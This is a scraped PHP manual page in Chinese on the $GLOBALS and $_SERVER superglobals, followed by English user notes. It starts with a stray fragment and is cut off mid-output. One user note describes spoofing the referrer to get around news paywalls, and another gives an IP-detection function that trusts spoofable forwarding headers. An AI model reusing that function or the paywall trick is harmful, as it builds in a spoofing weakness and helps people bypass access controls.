It's called "shadowing" a superglobal, and I don't know why people ever did it, but I've seen it out there. The easy fix is just to rename the variable $get in the function, assuming that name is unique.

There was no deprecation warning issued in previous versions of PHP, according to my testing, neither in 5.3 nor 5.2. The error messages in 5.4 are:
Fatal error: Cannot re-assign auto-global variable _GET in...
Fatal error: Cannot re-assign auto-global variable _COOKIE in...
etc.


引用全局作用域中可用的全部变量

  • ? 超全局变量
  • $_SERVER ?
  • PHP Manual
  • 预定义变量
  • 引用全局作用域中可用的全部变量

$GLOBALS

$GLOBALS — 引用全局作用域中可用的全部变量

说明

关联数组 array，包含当前脚本内定义成全局范围的所有变量的引用。 数组的键就是变量的名字。

示例

Example #1 $GLOBALS 范例

<?php
function test() {
$foo = "local variable";

echo '$foo in global scope: ' . $GLOBALS["foo"] . "\n";
echo '$foo in current scope: ' . $foo . "\n";
}

$foo = "Example content";
test();
?>

以上示例的输出类似于：

$foo in global scope: Example content
$foo in current scope: local variable

Warning

从 PHP 8.1.0 起，不再支持对整个 $GLOBALS 数组的写访问：

Example #2 写入整个 $GLOBALS 将会导致错误。

<?php
// 生成编译时错误：
$GLOBALS = [];
$GLOBALS += [];
$GLOBALS =& $x;
$x =& $GLOBALS;
unset($GLOBALS);
array_pop($GLOBALS);
// ...以及对 $GLOBALS 的任何其他写入/读写操作
?>

注释

Note:

"Superglobal"也称为自动化的全局变量。这就表示其在脚本的所有作用域中都是可用的。不需要在函数或方法中用 global $variable; 来访问它。

Note: 变量可用性

与所有其他超全局变量不同，$GLOBALS在PHP中总是可用的。

Note:

从 PHP 8.1.0 起， $GLOBALS 现在是全局符号表的只读副本。 也就是说，全局变量不能通过副本进行修改。 在之前的版本中，$GLOBALS 数组和 PHP 数组通常传值的行为不一样，全局变量可通过副本修改。

<?php
// PHP 8.1.0 之前
$a = 1;
$globals = $GLOBALS; // 表面意义的按值复制
$globals['a'] = 2;
var_dump($a); // int(2)

// 从 PHP 8.1.0 起
// 这不再修改 $a。先前的行为违反了按值语义。
$globals = $GLOBALS;
$globals['a'] = 1;

// 要恢复以前的行为，请迭代其副本并将每个属性分配回 $GLOBALS。
foreach ($globals as $key => $value) {
$GLOBALS[$key] = $value;
}
?>

User Contributed Notes

inafeeur at gmail dot com 01-Dec-2022 08:25
We can be more clear with the extension of the given example.

Before PHP Version 8.1

<?php
  $a = 1;
  $globals = $GLOBALS;
  $globals['a'] = 2;
  echo $a; // 2
  echo $globals['a']; // 2
  echo $GLOBALS['a'];  // 2
?>

After PHP Version 8.1

<?php
  $a = 1;
  $globals = $GLOBALS;
  $globals['a'] = 2;
  echo $a; // 1
  echo $globals['a']; // 2
  echo $GLOBALS['a'];  // 1
?>
vittorio.zamparella at famous googlemail 20-Oct-2016 11:31
I finally found information about superglobals not being found in $GLOBALS:

https://bugs.php.net/bug.php?id=65223&edit=2
-------------------------------------
 [2013-07-09 12:00 UTC] johannes @php.net
[...]super-globals (aka. auto globals) are not added to symbol tables by default for performance reasons unless the parser sees need. i.e.

<?php
$_SERVER;
print_r($GLOBALS);
?>

will list it. You can also control this using auto_gloals_jit in php.ini: http://www.php.net/manual/en/ini.core.php#ini.auto-globals-jit
-------------------------------------

http://www.php.net/manual/en/language.variables.variable.php
-------------------------------------
Warning
Please note that variable variables cannot be used with PHP's Superglobal arrays within functions or class methods. The variable $this is also a special variable that cannot be referenced dynamically.
-------------------------------------
mstraczkowski at gmail dot com 11-Jun-2013 05:58
Watch out when you are trying to set $GLOBALS to the local variable.

Even without reference operator "&" your variable seems to be referenced to the $GLOBALS

You can test this behaviour using below code

<?php
/**
 * Result:
 * POST: B, Variable: C
 * GLOBALS: C, Variable: C
 */

// Testing $_POST
$_POST['A'] = 'B';

$nonReferencedPostVar = $_POST;
$nonReferencedPostVar['A'] = 'C';

echo 'POST: '.$_POST['A'].', Variable: '.$nonReferencedPostVar['A']."\n\n";

// Testing Globals
$GLOBALS['A'] = 'B';

$nonReferencedGlobalsVar = $GLOBALS;
$nonReferencedGlobalsVar['A'] = 'C';

echo 'GLOBALS: '.$GLOBALS['A'].', Variable: '.$nonReferencedGlobalsVar['A']."\n\n";
therandshow at gmail dot com 29-Jun-2011 06:32
As of PHP 5.4 $GLOBALS is now initialized just-in-time. This means there now is an advantage to not use the $GLOBALS variable as you can avoid the overhead of initializing it. How much of an advantage that is I'm not sure, but I've never liked $GLOBALS much anyways.


服务器和执行环境信息

  • ? $GLOBALS
  • $_GET ?
  • PHP Manual
  • 预定义变量
  • 服务器和执行环境信息

$_SERVER

$_SERVER — 服务器和执行环境信息

说明

$_SERVER 是一个包含了诸如头信息（header）、路径（path）、以及脚本位置（script locations）等信息的 array。这个数组中的条目由 Web 服务器创建，所以不能保证每个 Web 服务器都提供全部条目；服务器可能会忽略一些，或者提供此处没有列举出来的其它内容。然而，大部分变量在 » CGI 1.1 规范中都有说明，并且很可能会定义。

Note: 当在命令行运行 PHP 时，这些条目都将无效或者没有任何意义。

除了下面列出的元素之外，PHP 还将使用请求报头中的值创建其它元素，这些条目将命名为 HTTP_ 后跟报头名称，大写且使用下划线而不是连字符。例如 Accept-Language 报头将作为 $_SERVER['HTTP_ACCEPT_LANGUAGE'] 提供。

目录

'PHP_SELF'
当前执行脚本的文件名，与 document root 有关。例如，在地址为 http://example.com/foo/bar.php 的脚本中使用 $_SERVER['PHP_SELF'] 将得到 /foo/bar.php。__FILE__ 常量包含当前(例如包含)文件的完整路径和文件名。 如果 PHP 以命令行模式运行，这个变量将包含脚本名。
'argv'
传递给该脚本的参数的数组。当脚本以命令行方式运行时，argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时，该变量包含query string。
'argc'
包含命令行模式下传递给该脚本的参数的数目(如果运行在命令行模式下)。
'GATEWAY_INTERFACE'
服务器使用的 CGI 规范的版本；例如，'CGI/1.1'。
'SERVER_ADDR'
当前运行脚本所在的服务器的 IP 地址。
'SERVER_NAME'
当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中，该名称是由那个虚拟主机所设置的值决定。

Note: 在 Apache 2 里，必须设置 UseCanonicalName = On 和 ServerName。否则该值会由客户端提供，就有可能被伪造。上下文有安全性要求的环境里，不应该依赖此值。

'SERVER_SOFTWARE'
服务器标识字符串，在响应请求时的头信息中给出。
'SERVER_PROTOCOL'
请求页面时通信协议的名称和版本。例如，'HTTP/1.0'。
'REQUEST_METHOD'
访问页面使用的请求方法；例如，'GET'、'HEAD'、'POST'、'PUT'。

Note:

如果请求方法为 HEAD，PHP 脚本将在发送 Header 头信息之后终止(这意味着在产生任何输出后，不再有输出缓冲)。

'REQUEST_TIME'
请求开始时的时间戳。
'REQUEST_TIME_FLOAT'
请求开始时的时间戳，微秒级别的精准度。
'QUERY_STRING'
query string（查询字符串），如果有的话，通过它进行页面访问。
'DOCUMENT_ROOT'
当前运行脚本所在的文档根目录。在服务器配置文件中定义。
'HTTPS'
如果脚本是通过 HTTPS 协议被访问，则被设为一个非空的值。
'REMOTE_ADDR'
浏览当前页面的用户的 IP 地址。
'REMOTE_HOST'
浏览当前页面的用户的主机名。DNS 反向解析不依赖于用户的 REMOTE_ADDR。

Note: 必须配置 Web 服务器以创建这个变量。例如在 Apache 中，HostnameLookups On 必须在 httpd.conf 中设置才能存在。参见 gethostbyaddr()。

'REMOTE_PORT'
用户机器上连接到 Web 服务器所使用的端口号。
'REMOTE_USER'
经验证的用户
'REDIRECT_REMOTE_USER'
验证的用户，如果请求已在内部重定向。
'SCRIPT_FILENAME'

当前执行脚本的绝对路径。

Note:

如果在命令行界面（Command Line Interface, CLI）使用相对路径执行脚本，例如 file.php 或 ../file.php，那么 $_SERVER['SCRIPT_FILENAME'] 将包含用户指定的相对路径。

'SERVER_ADMIN'
该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。如果脚本运行在一个虚拟主机上，则该值是那个虚拟主机的值。
'SERVER_PORT'
Web 服务器使用的端口。默认值为 '80'。如果使用 SSL 安全连接，则这个值为用户设置的 HTTP 端口。

Note: 在 Apache 2 里，为了获取真实物理端口，必须设置 UseCanonicalName = On 以及 UseCanonicalPhysicalPort = On，否则可能伪造此值，不一定会返回真实端口值。 上下文有安全性要求的环境里，不应该依赖此值。

'SERVER_SIGNATURE'
包含了服务器版本和虚拟主机名的字符串。
'PATH_TRANSLATED'
当前脚本所在文件系统（非文档根目录）的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。

Note: Apache 2 用户可以在 httpd.conf 中设置 AcceptPathInfo = On 来定义 PATH_INFO。

'SCRIPT_NAME'
包含当前脚本的路径。这在页面需要指向自己时非常有用。__FILE__ 常量包含当前脚本(例如包含文件)的完整路径和文件名。
'REQUEST_URI'
URI 用来指定要访问的页面。例如 "/index.html"。
'PHP_AUTH_DIGEST'
当作为 Apache 模块运行时，进行 HTTP Digest 认证的过程中，此变量被设置成客户端发送的"Authorization" HTTP 头内容（以便作进一步的认证操作）。
'PHP_AUTH_USER'
当 PHP 运行在 Apache 或 IIS（PHP 5 是 ISAPI）模块方式下，并且正在使用 HTTP 认证功能，这个变量便是用户输入的用户名。
'PHP_AUTH_PW'
当 PHP 运行在 Apache 或 IIS（PHP 5 是 ISAPI）模块方式下，并且正在使用 HTTP 认证功能，这个变量便是用户输入的密码。
'AUTH_TYPE'
当 PHP 运行在 Apache 模块方式下，并且正在使用 HTTP 认证功能，这个变量便是认证的类型。
'PATH_INFO'
如果存在的话，包含由客户端提供的、跟在真实脚本名称之后并且在查询字符串之前的路径信息。例如，如果当前脚本是通过 URI http://www.example.com/php/path_info.php/some/stuff?foo=bar 访问，那么 $_SERVER['PATH_INFO'] 将包含 /some/stuff。
'ORIG_PATH_INFO'
在被 PHP 处理之前，"PATH_INFO" 的原始版本。

示例

Example #1 $_SERVER 范例

<?php
echo $_SERVER['SERVER_NAME'];
?>

以上示例的输出类似于：

www.example.com

注释

Note:

"Superglobal"也称为自动化的全局变量。这就表示其在脚本的所有作用域中都是可用的。不需要在函数或方法中用 global $variable; 来访问它。

参见

  • 过滤器扩展

User Contributed Notes

kamil00110 27-Jul-2023 04:14
This code can be used to help find somone that tries to dig throught the server files to find something.

.htaccess

ErrorDocument 404 /your.php
ErrorDocument 403 /your.php

<?php
         //get time
         $time = date("H:i:s d.m.y");
         //get user address
         $usr = $_SERVER['REMOTE_ADDR'];
         //get entered url of the "visitor"
         $url = $_SERVER['REQUEST_URI'];
         //get your servers address
         $ip = $_SERVER['SERVER_ADDR'];
     //put toogether
         $sus = "[".$time."]   ".$usr."   ".$ip.$url.PHP_EOL;
         //write an log file
         file_put_contents("susip.txt", $sus, FILE_APPEND);
?>
Florin C 26-Apr-2023 06:52
<?php
//Working example tested with success in Debian Linux with Apache 2.4

$protocol=$_SERVER['PROTOCOL'] = isset($_SERVER['HTTPS']) && !empty($_SERVER['HTTPS']) ? 'https' : 'http';  //thanks to Mark Simon @ https://www.php.net/manual/en/reserved.variables.server.php
$doc_root = $_SERVER['DOCUMENT_ROOT'];  // e.g. /var/www/webabc/web/
$module_path = dirname(__FILE__);  // e.g. /var/www/webabc/web/modules/verstion152/
$host = $_SERVER['HTTP_HOST'];  // e.g. 192.168.1.4

$online_path = $protocol .'://'. $host . '/' . str_replace($doc_root, '', $module_path);

echo "The online path is: " . $online_path;
Daniels118 15-Mar-2022 09:17
If you need to know the protocol (http or https) used by the client, then the $_SERVER['HTTPS'] variable may not actually report the truth if your server is behind a proxy or a load balancer (In fact the client could connect to the load balancer using https, and then the load balancer forward the request to the server using http).
If the proxy/load balancer is correctly configured it could send the original request protocol in a header, and you will find it in the $_SERVER[HTTP_X_FORWARDED_PROTO] variable.
sammyhacker at gmail dot com 24-Jul-2021 05:14
To put it simply, $_SERVER contains all the environment variables.

CGI works by an HTTP application server filling in all the required environment variables and invoking the PHP process. And these environment variables are stored under $_SERVER.
DanielTahar 27-May-2020 01:36
To expand a bit on the price you could pay for relying on 'HTTP_REFERER': several large news sites I read often have paywalls, with cookies in place so you can only read X articles before you must subscribe; if using Incognito, they count the number of times you accessed via the same IP; everything to get you to subscribe. However, in order to be appealing, any visit where the 'HTTP_REFERER' is Google News will give you the entire article. I'm sure it's a dilemma their webmasters have, but for now any time someone sends you a story on one of them, all you have to do is search for the title and click the result from Google News. Bottom line: never count on it.

PS (1): ofcourse i'm talking about a friend. I pay for content.
PS (2): after some debate, the RFC decided to keep 'HTTP_REFERER', although it's misspelled.
Johan Winge 22-Mar-2020 07:17
It should probably be noted that the value of $_SERVER['SERVER_PROTOCOL'] will never contain the substring "HTTPS". Assuming this is a common source of bugs and confusion. Instead, see $_SERVER['HTTPS'].
vcoletti at tiscali dot it 14-Mar-2020 01:20
To list all the $_SERVER parameters, simply do:

foreach ($_SERVER as $parm => $value)  echo "$parm = '$value'\n";

No need to list all possible keys of the array.
lemonostif at gmail dot com 27-Jul-2019 08:28
PHP_SELF is a disgrace of a programmer's work. One of the most widespread PHP vulnerabilities since version 4 and the manual says nothing about the dangers. At least clarify that ITS VALUE CAN BE PROVIDED BY THE USER with capitals preferably if you want to make the internet a safer place...
Mark Simon 21-Jul-2019 05:42
So near, and yet so far ...

$_SERVER has nearly everything you need to know about the current web page environment. Something which would have been handy is easy access to the protocol and the actual web root.

For the protocol, you may or may not have $_SERVER['HTTPS'] and it may or may not be empty. For the web root, $_SERVER['DOCUMENT_ROOT'] depends on the server configuration, and doesn't work for virtual hosts.

For practical purposes, I normally include something like the following in my scripts:

<?php
    //    Web Root
    //    Usage: include("$root/includes/something.inc.php");
        $root = $_SERVER['WEB_ROOT'] = str_replace($_SERVER['SCRIPT_NAME'],'',$_SERVER['SCRIPT_FILENAME']);

    //    Host & Protocol
    //    Usage: $url = "$protocol://$host/images/something.jpg";
        $host = $_SERVER['HTTP_HOST'];
        $protocol=$_SERVER['PROTOCOL'] = isset($_SERVER['HTTPS']) && !empty($_SERVER['HTTPS']) ? 'https' : 'http';
?>
lilJoshu 01-Nov-2018 02:38
Remember,

Although $_SERVER["REQUEST_METHOD"] is initially built with GET, POST, PUT, HEAD in mind, a server can allow more.

This may be important if you're building a RESTful interfaces that will also use methods such as PATCH and DELETE.

Also important as a security risk as a possible point of injection. In the event of building something acting based on REQUEST_METHOD, it's recommended to put it in a switch statement.

<?php
switch ($_SERVER["REQUEST_METHOD"]){
   case "PUT":
       foo_replace_data();
       break;
   case "POST":
       foo_add_data();
       break;
   case "HEAD";
       foo_set_that_cookie();
       break;
   case "GET":
   default:
      foo_fetch_stuff()
      break;
}

?>
2962051004 at qq dot com 11-Mar-2018 11:46
<?php
/*
Sometimes you will find that your website will not get the correct user IP after adding CDN, then this function will help you
*/
function real_ip()
{
   $ip = $_SERVER['REMOTE_ADDR'];
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
        foreach ($matches[0] AS $xip) {
            if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
                $ip = $xip;
                break;
            }
        }
    } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) {
        $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
    } elseif (isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) {
        $ip = $_SERVER['HTTP_X_REAL_IP'];
    }
    return $ip;

}
echo real_ip();

?>
ywarnier at beeznest dot org 02-Aug-2017 08:35
Note that $_SERVER['REQUEST_URI'] might include the scheme and domain in certain cases.

This happens, for example, when calling the page through a call to stream_context_create() with a HTTP header of 'request_fulluri' set to 1.

For example:

$http = ['request_fulluri' => 1, /* other params here */];
$context = stream_context_create(array( 'http' => $http ));
$fp = fopen($some_url, 'rb', false, $context);

When outputting $_SERVER['REQUEST_URI'] on the server at $some_url, you will get
https://some_url/some_script.php

Remove the request_fulluri => 1 option, and $_SERVER['REQUEST_URI'] gets back to its "normal":
/some_script.php

Apparently, request_fulluri is useful when using some proxy servers.

In this case, there is no proper way to "detect" if this option was set or not, and you should probably use a combination of other $_SERVER[] elements (like REQUEST_SCHEME, SERVER_NAME and SERVER_PORT) to determine if this was the case.

One quick (and improvable) way to detect it would be to compare the start of the REQUEST_URI with REQUEST_SCHEME:

$scheme = $_SERVER['REQUEST_SCHEME'] . '://';
if (strcmp(substr($_SERVER['REQUEST_URI'], 0, strlen($scheme)), $scheme) === 0) {
    // request_fulluri was set
}
centurianii at yahoo dot co dot uk 28-May-2017 10:18
If you apply redirection in ALL your requests using commands at the Apache virtual host file like:
RewriteEngine On
RewriteCond "%{REQUEST_URI}" "!=/index.php"
RewriteRule "^/(.*)$" "index.php?$1" [NC,NE,L,QSA]
you should expect some deviations in your $_SERVER global.

Say, you send a url of: [hostname here]/a/b?x=1&y=2
which makes Apache to modify to: /index.php?/a/b?x=1&y=2

Now your $_SERVER global contains among others:
'REQUEST_URI' => '/a/b?x=1&y=2', it retains the initial url after the host
 'QUERY_STRING' => 'a/b&x=1&y=2', notice how php replaces '?' with '&'
 'SCRIPT_NAME' => '/index.php', as it was intended to be.

To test your $_SERVER global:
function serverArray(){
   $arr = array();
   foreach($_SERVER as $key=>$value)
      $arr[] = '&nbsp;&nbsp;&nbsp;\'' . $key . '\' => \'' . (isset($value)? $value : '-') . '\'';
   return @\sort($arr)? '$_SERVER = array(<br />' . implode($arr, ',<br />') . '<br />);' : false;
}
echo serverArray();
pierstoval at example dot com 22-Apr-2017 10:13
As PHP $_SERVER var is populated with a lot of vars, I think it's important to say that it's also populated with environment vars.

For example, with a PHP script, we can have this:

    MY_ENV_VAR=Hello php -r 'echo $_SERVER["MY_ENV_VAR"];'

Will show "Hello".

But, internally, PHP makes sure that "internal" keys in $_SERVER are not overriden, so you wouldn't be able to do something like this:

    REQUEST_TIME=Hello php -r 'var_dump($_SERVER["REQUEST_TIME"]);'

Will show something like 1492897785

However, a lot of vars are still vulnerable from environment injection.

I created a gist here ( https://gist.github.com/Pierstoval/f287d3e61252e791a943dd73874ab5ee ) with my PHP configuration on windows with PHP7.0.15 on WSL with bash, the results are that the only "safe" vars are the following:

PHP_SELF
SCRIPT_NAME
SCRIPT_FILENAME
PATH_TRANSLATED
DOCUMENT_ROOT
REQUEST_TIME_FLOAT
REQUEST_TIME
argv
argc

All the rest can be overriden with environment vars, which is not very cool actually because it can break PHP applications sometimes...

(and I only tested on CLI, I had no patience to test with Apache mod_php or Nginx + PHP-FPM, but I can imagine that not a lot of $_SERVER properties are "that" secure...)
chris at ocproducts dot com 12-Apr-2017 11:44
Guide to script parameters...

Data: $_GET
Data type: Array (map)
Purpose: Contains all GET parameters (i.e. a parsed URL query string).
Caveat: GET parameter names have to be compliant with PHP variable naming, e.g. dots are not allowed and get substituted.
Works on web mode: Yes
Works on CLI mode: No

Data: $_SERVER['QUERY_STRING']
Data type: String
Purpose: Gets an unparsed URL query string.
Caveat: Not set on all PHP environments, may need setting via http_build_query($_GET).
Works on web mode: Yes
Works on CLI mode: No

Data: $_SERVER['argv']
Data type: Array (list)
Purpose: Get CLI call parameters.
Works on web mode: Tenuous (just contains a single parameter, the query string)
Works on CLI mode: Yes
chris at ocproducts dot com 12-Apr-2017 11:44
Guide to URL paths...

Data: $_SERVER['PHP_SELF']
Data type: String
Purpose: The URL path name of the current PHP file, including path-info (see $_SERVER['PATH_INFO']) and excluding URL query string. Includes leading slash.
Caveat: This is after URL rewrites (i.e. it's as seen by PHP, not necessarily the original call URL).
Works on web mode: Yes
Works on CLI mode: Tenuous (emulated to contain just the exact call path of the CLI script, with whatever exotic relative pathname you may call with, not made absolute and not normalised or pre-resolved)

Data: $_SERVER['SCRIPT_NAME']
Data type: String
Purpose: The URL path name of the current PHP file, excluding path-info and excluding URL query string. Includes leading slash.
Caveat: This is after URL rewrites (i.e. it's as seen by PHP, not necessarily the original call URL).
Caveat: Not set on all PHP environments, may need setting via preg_replace('#\.php/.*#', '.php', $_SERVER['PHP_SELF']).
Works on web mode: Yes
Works on CLI mode: Tenuous (emulated to contain just the exact call path of the CLI script, with whatever exotic relative pathname you may call with, not made absolute and not normalised or pre-resolved)

Data: $_SERVER['REDIRECT_URL']
Data type: String
Purpose: The URL path name of the current PHP file, path-info is N/A and excluding URL query string. Includes leading slash.
Caveat: This is before URL rewrites (i.e. it's as per the original call URL).
Caveat: Not set on all PHP environments, and definitely only ones with URL rewrites.
Works on web mode: Yes
Works on CLI mode: No

Data: $_SERVER['REQUEST_URI']
Data type: String
Purpose: The URL path name of the current PHP file, including path-info and including URL query string. Includes leading slash.
Caveat: This is before URL rewrites (i.e. it's as per the original call URL). *
*: I've seen at least one situation where this is not true (there was another $_SERVER variable to use instead supplied by the URL rewriter), but the author of the URL rewriter later fixed it so probably fair to dismiss this particular note.
Caveat: Not set on all PHP environments, may need setting via $_SERVER['REDIRECT_URL'] . '?' . http_build_query($_GET) [if $_SERVER['REDIRECT_URL'] is set, and imperfect as we don't know what GET parameters were originally passed vs which were injected in the URL rewrite] --otherwise-- $_SERVER['PHP_SELF'] . '?' . http_build_query($_GET).
Works on web mode: Yes
Works on CLI mode: No

Data: $_SERVER['PATH_INFO']
Data type: String
Purpose: Find the path-info, which is data after the .php filename in the URL call. It's a strange concept.
Caveat: Some environments may not support it, it is best avoided unless you have complete server control
Works on web mode: Yes
Works on CLI mode: No

Note that if something is not set it may be missing from $_SERVER, or it may be blank, so use PHP's 'empty' function for your test.
chris at ocproducts dot com 12-Apr-2017 11:44
Guide to absolute paths...

Data: __FILE__
Data type: String
Purpose: The absolute pathname of the running PHP file, including the filename.
Caveat: This is not the file called by the PHP processor, it's what is running. So if you are inside an include, it's the include.
Caveat: Symbolic links are pre-resolved, so don't trust comparison of paths to be accurate.
Caveat: Don't assume all operating systems use '/' for the directory separator.
Works on web mode: Yes
Works on CLI mode: Yes

Data: __DIR__
Data type: String
Purpose: The absolute pathname to the running PHP file, excluding the filename
Caveat: This is not the file called by the PHP processor, it's what is running. So if you are inside an include, it's the include.
Caveat: Symbolic links are pre-resolved, so don't trust comparison of paths to be accurate.
Caveat: Don't assume all operating systems use '/' for the directory separator.
Works on web mode: Yes
Works on CLI mode: Yes

Data: $_SERVER['SCRIPT_FILENAME']
Data type: String
Purpose: The absolute pathname of the origin PHP file, including the filename
Caveat: Not set on all PHP environments, may need setting by copying from __FILE__ before other files are included.
Caveat: Symbolic links are not pre-resolved, use PHP's 'realpath' function if you need it resolved.
Caveat: Don't assume all operating systems use '/' for the directory separator.
Caveat: "Filename" makes you think it is just a filename, but it really is the full absolute pathname. Read the identifier as "Script's filesystem (path)name".
Works on web mode: Yes
Works on CLI mode: Yes

Data: $_SERVER['PATH_TRANSLATED']
Data type: String
Purpose: The absolute pathname of the origin PHP file, including the filename
Caveat: It's probably not set, best to just not use it. Just use realpath($_SERVER['SCRIPT_FILENAME']) (and be aware that itself may need to have been emulated).
Caveat: Symbolic links are pre-resolved, so don't trust comparison of paths to be accurate.
Caveat: Don't assume all operating systems use '/' for the directory separator.
Works on web mode: Yes
Works on CLI mode: No

Data: $_SERVER['DOCUMENT_ROOT']
Data type: String
Purpose: Get the absolute path to the web server's document root. No trailing slash.
Caveat: Don't trust this to be set, or set correctly, unless you control the server environment.
Caveat: May or may not have symbolic links pre-resolved, use PHP's 'realpath' function if you need it resolved.
Caveat: Don't assume all operating systems use '/' for the directory separator.
Works on web mode: Yes
Works on CLI mode: No

Note that if something is not set it may be missing from $_SERVER, or it may be blank, so use PHP's 'empty' function for your test.

Note that if you call "php --info" on the command line then naturally some of these settings are going to be blank, as no PHP file is involved.
plugwash at p10link dot net 24-Mar-2015 01:38
Be aware that it's a bad idea to access x-forwarded-for and similar headers through this array. The header names are mangled when populating the array and this mangling can introduce spoofing vulnerabilities.

See http://en.wikipedia.org/wiki/User:Brion_VIBBER/Cool_Cat_incident_report for details of a real world exploit of this.
jit_chavan at yahoo dot com 13-Feb-2014 07:26
searched $_SERVER["REDIRECT_URL"] for a while and noted that it is not mentioned in php documentation page itself. look like this is only generated by apache server(not others) and using   $_SERVER["REQUEST_URI"] will be useful in some cases as mine.
pomat at live dot it 15-Jun-2013 02:12
$_SERVER['DOCUMENT_ROOT'] may contain backslashes on windows systems, and of course it may or may not have a trailing slash (backslash).
I saw the following as an example of the proper way we're supposed to deal with this issue:

<?php
include(dirname($_SERVER['DOCUMENT_ROOT']) . DIRECTORY_SEPARATOR . 'file.php');
?>

Ok, the latter may be used to access a file inside the parent directory of the document root, but actually does not properly address the issue.
In the end, don't warry about. It should be safe to use forward slashes and append a trailing slash in all cases.
Let's say we have this:

<?php
$path = 'subdir/file.php';
$result = $_SERVER['DOCUMENT_ROOT'] . '/' . $path;
?>

On linux $result might be something like
1) "/var/www/subdir/file.php"
2) "/var/www//subdir/file.php"
String 2 is parsed the same as string 1 (have a try with command 'cd').

On windows $result might be something like
1) "C:/apache/htdocs/subdir/file.php"
2) "C:/apache/htdocs//subdir/file.php"
3) "C:\apache\htdocs/subdir/file.php"
4) "C:\apache\htdocs\/subdir/file.php"
All those strings are parsed as "C:\apache\htdocs\subdir\file.php" (have a try with 'cd').
krinklemail at gmail dot com 05-Dec-2012 11:39
If requests to your PHP script send a header "Content-Type" or/ "Content-Length" it will, contrary to regular HTTP headers, not appear in $_SERVER as $_SERVER['HTTP_CONTENT_TYPE']. PHP removes these (per CGI/1.1 specification[1]) from the HTTP_ match group.

They are still accessible, but only if the request was a POST request. When it is, it'll be available as:
$_SERVER['CONTENT_LENGTH']
$_SERVER['CONTENT_TYPE']

[1] https://www.ietf.org/rfc/rfc3875
Tom 06-Sep-2012 08:28
Be warned that most contents of the Server-Array (even $_SERVER['SERVER_NAME']) are provided by the client and can be manipulated. They can also be used for injections and thus MUST be checked and treated like any other user input.
picov at e-link dot it 13-Oct-2011 10:59
A simple function to detect if the current page address was rewritten by mod_rewrite:

<?php
public function urlWasRewritten() {
  $realScriptName=$_SERVER['SCRIPT_NAME'];
  $virtualScriptName=reset(explode("?", $_SERVER['REQUEST_URI']));
  return !($realScriptName==$virtualScriptName);
}
?>
MarkAgius at markagius dot co dot uk 31-Aug-2011 02:18
You have missed 'REDIRECT_STATUS'

Very useful if you point all your error pages to the same file.

File; .htaccess
# .htaccess file.

ErrorDocument 404 /error-msg.php
ErrorDocument 500 /error-msg.php
ErrorDocument 400 /error-msg.php
ErrorDocument 401 /error-msg.php
ErrorDocument 403 /error-msg.php
# End of file.

File; error-msg.php
<?php
  $HttpStatus = $_SERVER["REDIRECT_STATUS"] ;
  if($HttpStatus==200) {print "Document has been processed and sent to you.";}
  if($HttpStatus==400) {print "Bad HTTP request ";}
  if($HttpStatus==401) {print "Unauthorized - Iinvalid password";}
  if($HttpStatus==403) {print "Forbidden";}
  if($HttpStatus==500) {print "Internal Server Error";}
  if($HttpStatus==418) {print "I'm a teapot! - This is a real value, defined in 1998";}

?>
Stefano (info at sarchittu dot org) 12-Nov-2010 06:07
A way to get the absolute path of your page, independent from the site position (so works both on local machine and on server without setting anything) and from the server OS (works both on Unix systems and Windows systems).

The only parameter it requires is the folder in which you place this script
So, for istance, I'll place this into my SCRIPT folder, and I'll write SCRIPT word length in $conflen

<?php
$conflen=strlen('SCRIPT');
$B=substr(__FILE__,0,strrpos(__FILE__,'/'));
$A=substr($_SERVER['DOCUMENT_ROOT'], strrpos($_SERVER['DOCUMENT_ROOT'], $_SERVER['PHP_SELF']));
$C=substr($B,strlen($A));
$posconf=strlen($C)-$conflen-1;
$D=substr($C,1,$posconf);
$host='http://'.$_SERVER['SERVER_NAME'].'/'.$D;
?>

$host will finally contain the absolute path.
wbeaumo1 at gmail dot com 13-Jun-2010 08:43
Don't forget $_SERVER['HTTP_COOKIE']. It contains the raw value of the 'Cookie' header sent by the user agent.
php at isnoop dot net 01-Apr-2010 09:38
Use the apache SetEnv directive to set arbitrary $_SERVER variables in your vhost or apache config.

SetEnv varname "variable value"
mirko dot steiner at slashdevslashnull dot de 24-Oct-2009 02:43
<?php

// RFC 2616 compatible Accept Language Parser
// http://www.ietf.org/rfc/rfc2616.txt, 14.4 Accept-Language, Page 104
// Hypertext Transfer Protocol -- HTTP/1.1

foreach (explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $lang) {
    $pattern = '/^(?P<primarytag>[a-zA-Z]{2,8})'.
    '(?:-(?P<subtag>[a-zA-Z]{2,8}))?(?:(?:;q=)'.
    '(?P<quantifier>\d\.\d))?$/';

    $splits = array();

    printf("Lang:,,%s''\n", $lang);
    if (preg_match($pattern, $lang, $splits)) {
        print_r($splits);
    } else {
        echo "\nno match\n";
    }
}

?>

example output:

Google Chrome 3.0.195.27 Windows xp

Lang:,,de-DE''
Array
(
    [0] => de-DE
    [primarytag] => de
    [1] => de
    [subtag] => DE
    [2] => DE
)
Lang:,,de;q=0.8''
Array
(
    [0] => de;q=0.8
    [primarytag] => de
    [1] => de
    [subtag] =>
    [2] =>
    [quantifier] => 0.8
    [3] => 0.8
)
Lang:,,en-US;q=0.6''
Array
(
    [0] => en-US;q=0.6
    [primarytag] => en
    [1] => en
    [subtag] => US
    [2] => US
    [quantifier] => 0.6
    [3] => 0.6
)
Lang:,,en;q=0.4''
Array
(
    [0] => en;q=0.4
    [primarytag] => en
    [1] => en
    [subtag] =>
    [2] =>
